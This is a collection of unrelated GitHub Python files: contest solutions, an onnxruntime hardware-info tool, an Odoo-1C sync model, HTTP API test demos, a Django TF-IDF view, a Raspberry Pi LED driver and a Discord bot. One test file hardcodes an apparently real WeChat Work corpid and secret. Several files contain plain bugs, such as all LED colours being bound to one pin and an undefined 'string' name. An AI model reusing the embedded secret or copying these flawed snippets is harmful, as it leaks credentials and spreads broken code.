{"seq_id":"31166020234","text":"# A. Ehab and another construction problem\n\nx = int(input())\nfound = False\nfor b in range(x, 0, -1):\n    if not found:\n        for a in range(b, 0, -1):\n            if b % a == 0 and a / b < x < a * b:\n                print(a, b)\n                found = True\n                break\nif not found:\n    print(-1)\n","repo_name":"sgrade/pytest","sub_path":"codeforces/1088A.py","file_name":"1088A.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"21100796224","text":"import argparse\nimport json\nimport logging\nimport platform\nfrom os import environ\nfrom typing import Dict, List\n\nimport cpuinfo\nimport psutil\nfrom py3nvml.py3nvml import (\n    NVMLError,\n    nvmlDeviceGetCount,\n    nvmlDeviceGetHandleByIndex,\n    nvmlDeviceGetMemoryInfo,\n    nvmlDeviceGetName,\n    nvmlInit,\n    nvmlShutdown,\n    nvmlSystemGetDriverVersion,\n)\n\n\nclass MachineInfo:\n    \"\"\"Class encapsulating Machine Info logic.\"\"\"\n\n    def __init__(self, silent=False, logger=None):\n        self.silent = silent\n\n        if logger is None:\n            logging.basicConfig(\n                format=\"%(asctime)s - %(name)s - %(levelname)s: %(message)s\",\n                level=logging.INFO,\n            )\n            self.logger = logging.getLogger(__name__)\n        else:\n            self.logger = logger\n\n        self.machine_info = None\n        try:\n            self.machine_info = self.get_machine_info()\n        except Exception:\n            self.logger.exception(\"Exception in getting machine info.\")\n            self.machine_info = None\n\n    def get_machine_info(self):\n        \"\"\"Get machine info in metric format\"\"\"\n        gpu_info = self.get_gpu_info_by_nvml()\n        cpu_info = cpuinfo.get_cpu_info()\n\n        machine_info = {\n            \"gpu\": gpu_info,\n            \"cpu\": self.get_cpu_info(),\n            \"memory\": self.get_memory_info(),\n            \"os\": platform.platform(),\n            \"python\": self._try_get(cpu_info, [\"python_version\"]),\n            \"packages\": self.get_related_packages(),\n            \"onnxruntime\": self.get_onnxruntime_info(),\n            \"pytorch\": self.get_pytorch_info(),\n            \"tensorflow\": self.get_tensorflow_info(),\n        }\n        return machine_info\n\n    def get_memory_info(self) -> Dict:\n        \"\"\"Get memory info\"\"\"\n        mem = psutil.virtual_memory()\n        return {\"total\": mem.total, \"available\": mem.available}\n\n    def _try_get(self, cpu_info: Dict, names: List) -> str:\n        for name in names:\n            if name in cpu_info:\n                value = cpu_info[name]\n                if isinstance(value, (list, tuple)):\n                    return \",\".join([str(i) for i in value])\n                return value\n        return \"\"\n\n    def get_cpu_info(self) -> Dict:\n        \"\"\"Get CPU info\"\"\"\n        cpu_info = cpuinfo.get_cpu_info()\n\n        return {\n            \"brand\": self._try_get(cpu_info, [\"brand\", \"brand_raw\"]),\n            \"cores\": psutil.cpu_count(logical=False),\n            \"logical_cores\": psutil.cpu_count(logical=True),\n            \"hz\": self._try_get(cpu_info, [\"hz_actual\"]),\n            \"l2_cache\": self._try_get(cpu_info, [\"l2_cache_size\"]),\n            \"flags\": self._try_get(cpu_info, [\"flags\"]),\n            \"processor\": platform.uname().processor,\n        }\n\n    def get_gpu_info_by_nvml(self) -> Dict:\n        \"\"\"Get GPU info using nvml\"\"\"\n        gpu_info_list = []\n        driver_version = None\n        try:\n            nvmlInit()\n            driver_version = nvmlSystemGetDriverVersion()\n            deviceCount = nvmlDeviceGetCount()  # noqa: N806\n            for i in range(deviceCount):\n                handle = nvmlDeviceGetHandleByIndex(i)\n                info = nvmlDeviceGetMemoryInfo(handle)\n                gpu_info = {}\n                gpu_info[\"memory_total\"] = info.total\n                gpu_info[\"memory_available\"] = info.free\n                gpu_info[\"name\"] = nvmlDeviceGetName(handle)\n                gpu_info_list.append(gpu_info)\n            nvmlShutdown()\n        except NVMLError as error:\n            if not self.silent:\n                self.logger.error(\"Error fetching GPU information using nvml: %s\", error)\n            return None\n\n        result = {\"driver_version\": driver_version, \"devices\": gpu_info_list}\n\n        if \"CUDA_VISIBLE_DEVICES\" in environ:\n            result[\"cuda_visible\"] = environ[\"CUDA_VISIBLE_DEVICES\"]\n        return result\n\n    def get_related_packages(self) -> List[str]:\n        import pkg_resources\n\n        installed_packages = pkg_resources.working_set\n        related_packages = [\n            \"onnxruntime-gpu\",\n            \"onnxruntime\",\n            \"ort-nightly-gpu\",\n            \"ort-nightly\",\n            \"onnx\",\n            \"transformers\",\n            \"protobuf\",\n            \"sympy\",\n            \"torch\",\n            \"tensorflow\",\n            \"flatbuffers\",\n            \"numpy\",\n            \"onnxconverter-common\",\n        ]\n        related_packages_list = {i.key: i.version for i in installed_packages if i.key in related_packages}\n        return related_packages_list\n\n    def get_onnxruntime_info(self) -> Dict:\n        try:\n            import onnxruntime\n\n            return {\n                \"version\": onnxruntime.__version__,\n                \"support_gpu\": \"CUDAExecutionProvider\" in onnxruntime.get_available_providers(),\n            }\n        except ImportError as error:\n            if not self.silent:\n                self.logger.exception(error)\n            return None\n        except Exception as exception:\n            if not self.silent:\n                self.logger.exception(exception, False)\n            return None\n\n    def get_pytorch_info(self) -> Dict:\n        try:\n            import torch\n\n            return {\n                \"version\": torch.__version__,\n                \"support_gpu\": torch.cuda.is_available(),\n                \"cuda\": torch.version.cuda,\n            }\n        except ImportError as error:\n            if not self.silent:\n                self.logger.exception(error)\n            return None\n        except Exception as exception:\n            if not self.silent:\n                self.logger.exception(exception, False)\n            return None\n\n    def get_tensorflow_info(self) -> Dict:\n        try:\n            import tensorflow as tf\n\n            return {\n                \"version\": tf.version.VERSION,\n                \"git_version\": tf.version.GIT_VERSION,\n                \"support_gpu\": tf.test.is_built_with_cuda(),\n            }\n        except ImportError as error:\n            if not self.silent:\n                self.logger.exception(error)\n            return None\n        except ModuleNotFoundError as error:\n            if not self.silent:\n                self.logger.exception(error)\n            return None\n\n\ndef parse_arguments():\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument(\n        \"--silent\",\n        required=False,\n        action=\"store_true\",\n        help=\"Do not print error message\",\n    )\n    parser.set_defaults(silent=False)\n\n    args = parser.parse_args()\n    return args\n\n\ndef get_machine_info(silent=True) -> str:\n    machine = MachineInfo(silent)\n    return json.dumps(machine.machine_info, indent=2)\n\n\nif __name__ == \"__main__\":\n    args = parse_arguments()\n    print(get_machine_info(args.silent))\n","repo_name":"microsoft/onnxruntime","sub_path":"onnxruntime/python/tools/transformers/machine_info.py","file_name":"machine_info.py","file_ext":"py","file_size_in_byte":6754,"program_lang":"python","lang":"en","doc_type":"code","stars":9700,"dataset":"github-code","pt":"18"}
{"seq_id":"36924054011","text":"from machine import Machine\n\n\ndef part_1(machine: Machine):\n    executed = set()\n\n    while not machine.term:\n        if machine.pc in executed:\n            break\n\n        executed.add(machine.pc)\n        machine.step()\n\n    return machine.acc\n\n\ndef part_2(machine: Machine):\n    code_backup = machine.code[:]\n\n    breakpoints = [\n        pc for pc, (op, arg) in enumerate(code_backup) if op in {\"nop\", \"jmp\"}\n    ]\n\n    while True:\n        acc = part_1(machine)\n\n        if machine.term:\n            break\n        else:\n            machine = Machine(code_backup[:])\n\n            pc = breakpoints.pop(0)\n            op, arg = machine.code[pc]\n            machine.code[pc] = (\"nop\" if op == \"jmp\" else \"jmp\", arg)\n            # print(f'modified {pc}: {op}')\n\n    return machine.acc\n\n\ndef parse(lines):\n    return Machine.from_lines(lines)\n\n\ndef main(puzzle_input_f):\n    lines = [l.strip() for l in puzzle_input_f.readlines() if l]\n    print(\"Part 1: \", part_1(parse(lines)))\n    print(\"Part 2: \", part_2(parse(lines)))\n\n\nif __name__ == \"__main__\":\n    import os\n    from aocpy import input_cli\n\n    base_dir = os.path.dirname(__file__)\n    with input_cli(base_dir) as f:\n        main(f)\n","repo_name":"eruvanos/2020_AOC","sub_path":"08/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12979839381","text":"# Framework imports\nfrom selenium import webdriver\nimport unittest\n\n# imports of Cobham developed files\nfrom utilsCommon import *\n\nclass test1_MJC(unittest.TestCase):\n  \n   def setUp(self):\n      self.helper  = SailorTestUtils(\"192.168.0.1\", \"admin\", \"1234\") # from CommonUtils\n      self.driver  = self.helper.getFireFoxDriver()                  # from CommonUtils        \n\n      h = self.helper\n      # Initial checks\n      h.testStep(\"Checking connectivity to DUT\")\n      h.assertTerminalReachable(self.helper.ipaddr, \"SAILOR 250\")\n\n      h.testStep(\"Getting DUT identifiers\")\n      h.getIdentifiers()\n\n      h.testStep(\"Start test by logging out\")\n      h.logOut()\n\n   def tearDown(self):\n      self.driver.quit()\n\n   # Testcase 1058_113\n   def test_1058_113(self):\n      h = self.helper\n\n      h.testStep(\"Login as Admin\")\n      h.loginAsAdmin()\n\n      # Actual test\n      h.testStep(\"Deselect all data limits\")\n      h.deselectAllDataLimits()\n      h.testStep(\"Select Standard Data only\")\n      h.selectStandardDataOnly()\n    \n      h.testStep(\"Disable autoactivation feature\")\n      h.autoActivationDisable()\n      # not completed yet\n\n\n   # Testcase 1058_114\n   def test_1058_114(self):\n      h = self.helper\n \n      h.testStep(\"This is a dummy text\")\n      # Not completed yet\n\n\nif __name__ == \"__main__\":\n   unittest.main()\n","repo_name":"mortenjc/lang","sub_path":"python/autotest/test1_MJC.py","file_name":"test1_MJC.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"35800414036","text":"from odoo import api, fields, models, _\nimport json\nfrom datetime import datetime, timedelta\nimport logging\n\n_logger = logging.getLogger(__name__)\nclass TmtrExchangeOneCCompanyStructure(models.Model):\n    _name = 'tmtr.exchange.1c.department'\n    _description = '1C Company Structure'\n\n    ref_key = fields.Char(string='Ref', index=True) # Ref_Key\n    name = fields.Char(string='Dividion Name') # Description\n    code = fields.Char(string='Dividion Code') # Code\n    head_manager_key = fields.Char(string='Head manager key') # ТекущийРуководитель_Key\n    parent_ref_key = fields.Char(string='Parent department key') # Parent_Key\n    code_income = fields.Char(string='Income Code') # ТМ_КодДоходов\n    sales_channel_code = fields.Char(string='Sales channel Code') # ТМ_КаналСбыта\n    main_stock_key = fields.Char(string='Main stock key') # ТМ_Склад_Key\n\n    team_id = fields.Many2one('crm.team') # Команда продаж\n    department_id = fields.Many2one('hr.department') # Подразделение компании\n\n    def upload_new(self, code=None, top = 100, skip = 0):\n        finish_before = datetime.now() + timedelta(minutes=1) # ограничить время работы скрипта одной минутой\n        nothing2import = 0\n        total_cnt = 0\n        rec = None\n        code = code if code else '00-00000000'\n        while datetime.now() < finish_before and nothing2import < 3:\n            json_data = self.env['odata.1c.route'].get_by_route(\n                \"1c_ut/get_catalog/\", {\n                    \"catalog_name\": \"Catalog_СтруктураПредприятия\",\n                    \"filter\": f\"DeletionMark eq false and Code ge '{code}'&$orderby=Code&$top={top}&$skip={skip}\"\n                })['value']\n            cnt = 0\n            for item in json_data:\n                if item['DeletionMark'] != True:\n                    rec = self.create_by_odata_json(item)\n                    cnt += 1\n            skip += top\n            total_cnt += cnt\n            nothing2import += 1 if cnt == 0 else 0\n        return {'cnt': total_cnt, 'last_code': rec.code if rec else False}\n\n    def update_fields(self, model_fields=['name', 'head_manager_key'], codes=None, skip=0, top=100, do_limit={}):\n        try:\n            if do_limit:\n                finish_before = datetime.now() + timedelta(seconds=do_limit.get('seconds',0), minutes=do_limit.get('minutes',0)) # ограничить время работы скрипта\n            else:\n                finish_before = datetime.now() + timedelta(minutes=1) # ограничить время работы скрипта\n\n            if codes == None:\n                if len(self) > 0:\n                    codes = self.mapped('code')\n                else:\n                    codes = self.search([]).mapped('code')\n            elif type(codes) == string:\n                codes = codes.split(',')\n            cnt = 0\n            last_updated = ''\n            code = codes[0] if codes else ''\n            nothing2import = 0\n            while datetime.now() < finish_before and nothing2import < 3:\n                data = self.env['odata.1c.route'].get_by_route(\n                        \"1c_ut/get_catalog/\", {\n                            \"catalog_name\": \"Catalog_СтруктураПредприятия\",\n                            \"filter\": f\"Code ge '{code}'&$orderby=Code&$top={top}&$skip={skip}\"\n                        })['value']\n                for item in data:\n                        if item.get('DeletionMark') != True and item.get('DeletionMark') in codes:\n                            if self.update_by_odata_json(item, model_fields=model_fields):\n                                cnt += 1\n                            else:\n                                rec = self.create_by_odata_json(item)\n                                cnt += 1 if len(rec) > 0 else 0\n                            last_updated = item['Code']\n                if not data:\n                        nothing2import += 1\n                skip += top\n            return {'count': cnt, 'last_updated': last_updated}\n        except Exception as e:\n            _logger.info(e)\n            return\n\n    def create_by_odata_json(self, json_data):\n        rec = self.search([(\"ref_key\", \"=\", json_data.get('Ref_Key'))])\n        if not rec:\n            return self.create(self.odata_array_to_model(json_data, ['all']))\n        else:\n            return rec\n\n    def update_by_odata_json(self, json_data, model_fields=[]):\n        partner = self.search([(\"ref_key\", \"=\", json_data['Ref_Key'])])\n        if model_fields and partner:\n            partner.update(self.odata_array_to_model(json_data,model_fields))\n        return partner\n\n    def odata_array_to_model(self, json_data, model_fields=[]):\n        odata2model = {\n            'ref_key': 'Ref_Key',\n            'name': 'Description',\n            'code': 'Code',\n            'head_manager_key': 'ТекущийРуководитель_Key',\n            'parent_ref_key': 'Parent_Key',\n            'code_income': 'ТМ_КодДоходов',\n            'sales_channel_code': 'ТМ_КаналСбыта',\n            'main_stock_key': 'ТМ_Склад_Key',\n        }\n        data = {}\n        if 'all' in model_fields:\n            model_fields = list(odata2model.keys())\n        for field in model_fields:\n            odata_src = odata2model.get(field, '')\n            if odata_src:\n                data.update({field: json_data.get(odata_src,'') if isinstance(odata_src, str) else odata_src[1](json_data.get(odata_src[0],''))})\n        return data\n","repo_name":"UP-G/exchangeOdoo16","sub_path":"models/tmtr_exchange_department.py","file_name":"tmtr_exchange_department.py","file_ext":"py","file_size_in_byte":5614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"43056707937","text":"import json\nimport random\nimport requests\nimport pystache\nfrom jsonpath import jsonpath\nfrom requests_xml import XMLSession\nfrom hamcrest import  *\nfrom jsonschema import validate\nfrom requests.auth import HTTPBasicAuth\nimport xml.etree.ElementInclude\n\n\ndef test_create_data():\n    \"userid,name,mobile\"\n    data = [(str(random.randint(0, 9999999)), \"柯南\", str(random.randint(13900000000, 13999999999))) for ix in\n            range(3)]\n    print(data)\n\nclass TestDemo:\n    def test_get(self):\n        r= requests.get('http://httpbin.testing-studio.com/get')\n\n        print(r)\n        print(r.status_code)\n        print(r.text)\n        print(r.json())\n        assert  r.status_code == 200\n\n    def test_query(self):\n        payload={\n            \"level\": 1,\n            \"name\" : \"seveniruby\"\n        }\n        r = requests.get('http://httpbin.testing-studio.com/get',params=payload)\n        print(r.text)\n        assert r.status_code == 200\n\n\n\n    def test_post_form(self):\n        payload={\n            \"level\": 1,\n            \"name\" : \"seveniruby\"\n        }\n        r = requests.post('https://httpbin.testing-studio.com/post', data=payload)\n        print(r.text)\n        assert r.status_code == 200\n\n    def test_header(self):\n        r = requests.get('http://httpbin.testing-studio.com/get', headers={\"h\": \"header-demo\"})\n        print(r.text)\n        print(r.status_code)\n        print(r.json())\n        assert r.status_code == 200\n        assert r.json()['headers'][\"H\"]  == 'header-demo'\n\n\n    def test_post_json(self):\n        payload = {\n            \"level\": 1,\n            \"name\": \"seveniruby\"\n        }\n        r = requests.post('https://httpbin.testing-studio.com/post', json=payload)\n        print(r.text)\n        assert r.json()['json']['level']  == 1\n\n\n        # 如果又一些特别复杂的json文件，特别长，可以将一些文件保存到文件里面，然后利用模板技术来解析数据\n         #可以使用mustache，freemaker等工具解析\n    def test_xml(self):\n         #由于requests没有封装xml，因此需要在编写脚本之前需要先添加如下语句\n           #headers = {'Content-Type':'application/xml'} #加上这么一句才能对xml进行处理\n           #可以应用于对一些特别长的文本进行操作\n        r=pystache.render(\n            'Hi{{person}!}',\n            {'person':'seveniruby'}\n            )\n        print(r)\n\n    # json path 断言\n    def test_hogwarts_json(self):\n        r = requests.get('http://home.testing-studio.com/categories.json')\n        print(r.text)\n        print(r.status_code)\n        print(r.json())\n        assert r.status_code == 200\n        assert r.json()['category_list']['categories'][0]['name'] == '社区治理'\n        #使用jsonpath将assert内容缩短\n        #jsonpath里面传递过来的必须得是json的数据\n        assert jsonpath(r.json(), '$..name')[0] == \"社区治理\"\n\n\n#xpath断言\n    def test_xpath(self):\n        session = XMLSession()\n        r = session.get('http://home.testing-studio.com/categories')\n        item = r.text\n        print(item)\n\n\n#除了第三方的一些库之外，还有python自己的库可以解析\n#如import xml.etree.ElementInclude\n#对于一些非常复杂的断言的时候可以使用hamcrest\n    def test_hamcrest(self):\n        r = requests.get('http://home.testing-studio.com/categories.json')\n        print(r.text)\n        print(r.status_code)\n        print(r.json())\n        assert r.status_code == 200\n        assert_that( r.json()['category_list']['categories'][0]['name'], equal_to('社区治理') )\n        # 使用jsonpath将assert内容缩短\n        # jsonpath里面传递过来的必须得是json的数据\n        assert jsonpath(r.json(), '$..name')[0] == \"社区治理\"\n\n#shema校验\n#除了hamcrest进行比对之外，还有schema进行断言\n    def test_get_login_jsonschema(self):\n        url = 'https://testerhome.com/api/v3/topics.json'\n        data = requests.get(url,params={'limit': '2'}).json()\n        schema = json.load(open(\"topic_schema.json\"))\n        validate(data, schema=schema)\n\n    def test_demo(self):\n        url='https://httpbin.testing-studio.com/cookies'\n        header = {\"Cookie\": 'hogwarts=shcool',\n                  \"User-Agent\": \"hogwarts\" }\n        cookies={\"hogwarts\": \"shcool\"}\n        r=requests.get(url=url, headers=header, cookies=cookies)\n        print(r.request.headers)\n#传递cookies有多种模式\n    def test_oauth(self):\n        r= requests.get(url= \"https://httpbin.testing-studio.com/basic-auth/banana/123\",\n                        auth= HTTPBasicAuth(\"banana\", \"123\"))\n        print(r)\n\n\n    def test_Work(self):\n\n        r = requests.get(url=' https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=ww5ec2ae9af30fe1f4&corpsecret=JD8hNLJl8lcIakqQLuozS9PsS7WSbS911bX8HNoP2Sw')\n\n        #print(r.json())\n        #return r.json()['access_token']\n        request_body = {\n            \"userid\": \"zhangsan\",\n            \"name\": \"张三\",\n            \"alias\": \"jackzhang\",\n            \"mobile\": \"+86 13800000000\",\n            \"department\": [1, 2],\n        }\n        ACCESS_TOKEN = r.json()['access_token']\n        m = requests.post(url=f\"https://qyapi.weixin.qq.com/cgi-bin/user/create?access_token={ACCESS_TOKEN}\",\n                          json=request_body)\n        print(m.json())\n\n\n    def test_create(self):\n\n        request_body= {\n            \"userid\": \"zhangsan\",\n            \"name\": \"张三\",\n            \"alias\": \"jackzhang\",\n            \"mobile\": \"+86 13800000000\",\n            \"department\": [1, 2],\n        }\n        ACCESS_TOKEN = self.test_Work()\n        r=requests.post(url=f\"https://qyapi.weixin.qq.com/cgi-bin/user/create?access_token={ACCESS_TOKEN}\", json= request_body )\n        print(r.json())\n\n\n","repo_name":"xwl65/apiobject-backup","sub_path":"untitled4/test_demo.py","file_name":"test_demo.py","file_ext":"py","file_size_in_byte":5733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24739045337","text":"from django.views.generic.edit import FormView\nfrom django.shortcuts import render\nfrom .forms import UploadFileForm\nfrom django.conf import settings\nfrom .tfidf import get_words, get_tfidf\n\n\ndef index(request):\n    if request.method == 'POST':\n        form = UploadFileForm(request.POST, request.FILES)\n\n        if form.is_valid():\n            main_file = _main_file_handler(request.FILES['file'])\n            other_files = _handle_uploaded_file(request.FILES.getlist('files'))\n\n            other_files_words = get_words(other_files, many=True)\n            tfidf = get_tfidf(main_file, other_files_words)\n\n            return render(request, 'task/success.html', {'data': tfidf})\n\n    form = UploadFileForm()\n    return render(request, 'task/index.html', {'form': form})\n\n\ndef _main_file_handler(file) -> dict:\n    \"\"\" Для главного файла. Возвращает словарь, где ключ само словоб а значение частота появления в тексте \"\"\"\n\n    data = b''\n    to_clear = ',.!?:;*()\"'\n\n    for chunk in file.chunks():\n        data += chunk\n\n    data = data.decode()\n    data_map = {}\n    data_split = data.split()\n\n    for word in data_split:\n        cleaned_word = word.strip(to_clear).lower()\n        if cleaned_word not in data_map:\n            data_map[cleaned_word] = [0, ]\n\n        data_map[cleaned_word][0] += 1\n\n    for key, value in data_map.items():\n        value.append(value[0] / float(len(data_split)))\n\n    return data_map\n\n\ndef _handle_uploaded_file(file):\n    \"\"\" Для остальных файлов. Возвращает содержимое файла в строке, или файлов в списке строк \"\"\"\n\n    if isinstance(file, list):\n        data = []\n        data_tmp = b''\n        for f in file:\n            for chunk in f.chunks():\n                data_tmp += chunk\n            data.append(data_tmp.decode())\n        return data\n\n    data = b''\n    for chunk in file.chunks():\n        data += chunk\n    return data.decode()\n","repo_name":"Serg-ui/wg_summary_test","sub_path":"task/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"37611453842","text":"import RPi.GPIO as GPIO\nimport configuration.production as config\n\n\nclass ClassLed:\n    def __init__(self):\n        GPIO.setmode(GPIO.BCM)\n        GPIO.setup(config.LED_STRIP[\"pin_blue\"], GPIO.OUT)\n        GPIO.setup(config.LED_STRIP[\"pin_red\"], GPIO.OUT)\n        GPIO.setup(config.LED_STRIP[\"pin_green\"], GPIO.OUT)\n\n        self.blue = GPIO.PWM(config.LED_STRIP[\"pin_blue\"],\n                             config.LED_STRIP[\"frequency_hz\"])\n        self.red = GPIO.PWM(config.LED_STRIP[\"pin_blue\"],\n                            config.LED_STRIP[\"frequency_hz\"])\n        self.green = GPIO.PWM(config.LED_STRIP[\"pin_blue\"],\n                              config.LED_STRIP[\"frequency_hz\"])\n\n        self.blue.start(0)\n        self.red.start(0)\n        self.green.start(0)\n        self.status = {\n            \"blue\": 0,\n            \"green\": 0,\n            \"red\": 0,\n        }\n\n    @staticmethod\n    def set_led(led, value):\n        try:\n            value = int(value)\n            if value > config.LED_STRIP[\"max_pwm\"]:\n                raise ValueError('PWM value exceed max possible')\n            led.ChangeDutyCycle(value)\n            return value\n        except ValueError:\n            led.ChangeDutyCycle(0)\n            return 0\n\n    def set_blue(self, value):\n        self.set_led(led=self.blue, value=value)\n        self.status[\"blue\"] = value\n\n    def set_green(self, value):\n        self.set_led(led=self.green, value=value)\n        self.status[\"green\"] = value\n\n    def set_red(self, value):\n        self.set_led(led=self.red, value=value)\n        self.status[\"red\"] = value\n\n    def increase_green(self):\n        try:\n            self.set_led(led=self.green, value=int(self.status[\"green\"]) + 1)\n        except ValueError:\n            self.set_led(led=self.green, value=0)\n\n    def decrease_green(self):\n        try:\n            self.set_led(led=self.green, value=int(self.status[\"green\"]) - 1)\n        except ValueError:\n            self.set_led(led=self.green, value=0)\n","repo_name":"tomasz2101/skateboard","sub_path":"models/led.py","file_name":"led.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"16830854221","text":"#!/usr/bin/env python3\nfrom discord.ext.commands.errors import *\nfrom discord.ext import commands\nimport discord\n\nfrom aiohttp import ClientSession\nimport datetime\nimport asyncio\n\nfrom cogs.utils.context import SyltesContext\nfrom cogs.utils.time import human_timedelta\nfrom cogs.utils.DataBase import DataBase, Message, User\n\nfrom config import TOKEN, POSTGRES\n\ninitial_cogs = [\n    'cogs.commands',\n    'cogs.filtering',\n    'cogs.polls',\n    'cogs.youtube',\n    'cogs.debugging',\n    'cogs._help',\n    'cogs.tags',\n    'cogs.challenges'\n]\n\nprint('Connecting...')\n\n\nclass Tim(commands.AutoShardedBot):\n    def __init__(self, **kwargs):\n        super().__init__(command_prefix=kwargs.pop('command_prefix', ('t.', 'tim.')), case_insensitive=True, **kwargs)\n        self.session = ClientSession(loop=self.loop)\n        self.start_time = datetime.datetime.utcnow()\n        self.clean_text = commands.clean_content(escape_markdown=True, fix_channel_mentions=True)\n\n    \"\"\"  Events   \"\"\"\n\n    async def on_connect(self):\n        \"\"\"Connect DB before bot is ready to assure that no calls are made before its ready\"\"\"\n        self.db = await DataBase.create_pool(bot=self, uri=POSTGRES, loop=self.loop)\n\n    async def on_ready(self):\n        print(f'Successfully logged in as {self.user}\\nSharded to {len(self.guilds)} guilds')\n        self.guild = self.get_guild(501090983539245061)\n        self.welcomes = self.guild.get_channel(511344843247845377)\n        await self.change_presence(activity=discord.Game(name='use the prefix \"tim\"'))\n\n        for ext in initial_cogs:\n            self.load_extension(ext)\n        print(f'Loaded all extensions after {human_timedelta(self.start_time, brief=True, suffix=False)}')\n\n    async def on_member_join(self, member):\n        await self.wait_until_ready()\n        if member.guild.id == 501090983539245061:\n            await self.welcomes.send(f\"Welcome to the Tech With Tim Community {member.mention}!\\n\"\n                                     f\"Members += 1\\nCurrent # of members: {self.guild.member_count}\")\n\n    async def on_message(self, message):\n        await self.wait_until_ready()\n        if message.author.bot:\n            return\n        print(f\"{message.channel}: {message.author}: {message.clean_content}\")\n        if not message.guild:\n            return\n        await self.process_commands(message)\n\n    async def process_commands(self, message):\n        if message.author.bot:\n            return\n\n        ctx = await self.get_context(message=message)\n\n        if ctx.command is None:\n            return await Message.on_message(bot=self, message=message)\n\n        if ctx.command.name in ('help', 'scoreboard', 'rep_scoreboard', 'reps', 'member_count', 'top_user', 'users',\n                                'server_messages', 'messages'):\n            if ctx.channel.id not in (511344208955703306, 536199577284509696):\n                return await message.channel.send(\"**Please use #bot-commands channel**\")\n\n        try:\n            await self.invoke(ctx)\n        finally:\n            await User.on_command(bot=self, user=message.author)\n\n    async def on_command_error(self, ctx, exception):\n        await self.wait_until_ready()\n\n        error = getattr(exception, 'original', exception)\n\n        if hasattr(ctx.command, 'on_error'):\n            return\n\n        elif isinstance(error, CheckFailure):\n            return\n\n        if isinstance(error, (BadUnionArgument, CommandOnCooldown, PrivateMessageOnly,\n                              NoPrivateMessage, MissingRequiredArgument, ConversionError)):\n            return await ctx.send(str(error))\n\n        elif isinstance(error, BotMissingPermissions):\n            return await ctx.send('I am missing these permissions to do this command:'\n                                  f'\\n{self.lts(error.missing_perms)}')\n\n        elif isinstance(error, MissingPermissions):\n            return await ctx.send('You are missing these permissions to do this command:'\n                                  f'\\n{self.lts(error.missing_perms)}')\n\n        elif isinstance(error, (BotMissingAnyRole, BotMissingRole)):\n            return await ctx.send(f'I am missing these roles to do this command:'\n                                  f'\\n{self.lts(error.missing_roles or [error.missing_role])}')\n\n        elif isinstance(error, (MissingRole, MissingAnyRole)):\n            return await ctx.send(f'You are missing these roles to do this command:'\n                                  f'\\n{self.lts(error.missing_roles or [error.missing_role])}')\n\n        else:\n            raise error\n\n    \"\"\"   Functions   \"\"\"\n\n    async def get_context(self, message, *, cls=SyltesContext):\n        \"\"\"Implementation of custom context\"\"\"\n        return await super().get_context(message=message, cls=cls or SyltesContext)\n\n    @staticmethod\n    def lts(list_: list):\n        \"\"\"List to string.\n           For use in `self.on_command_error`\"\"\"\n        return ', '.join([obj.name if isinstance(obj, discord.Role) else str(obj).replace('_', ' ') for obj in list_])\n\n    @classmethod\n    async def setup(cls, **kwargs):\n        bot = cls()\n        try:\n            await bot.start(TOKEN, **kwargs)\n        except KeyboardInterrupt:\n            await bot.close()\n\n\nif __name__ == \"__main__\":\n    loop = asyncio.get_event_loop()\n    loop.run_until_complete(Tim.setup())\n","repo_name":"Braimah-Abiola/MVP-Discord-Bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"20179557131","text":"\"\"\"You have to get today's date, then calculate yesterday's or tomorrow's.\"\"\"\n\nfrom datetime import date,timedelta\n\ntoday = date.today()\none_day = timedelta(days=1)\n\ntomorrow = today + one_day\nyesterday = today - one_day\n\nprint(\"Today's date:\", today)\nprint(\"Yesterday's date:\", yesterday)\nprint(\"Tomorrow's date:\", tomorrow)","repo_name":"Jarvis3198/Python-Training","sub_path":"10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6337062093","text":"# passes 9/10 test cases :(\nwith open(\"swap.in\",\"r\") as fin:\n    [n,k],[a1,a2],[b1,b2]=[list(map(int,x.split())) for x in fin.readlines()]\nresult=list(range(1,n+1))\nresults=[]\na1-=1\nb1-=1\nwhile result not in results:\n    results.append(result[:])\n    result[a1:a2]=list(reversed(result[a1:a2]))\n    result[b1:b2]=list(reversed(result[b1:b2]))\n\n\n# 0th index is the base case\nwith open(\"swap.out\",\"w\") as fout:\n    fout.write('\\n'.join(map(str,results[k%len(results)]))+'\\n')","repo_name":"benj-chen/exercises","sub_path":"usacobronze/swap.py","file_name":"swap.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
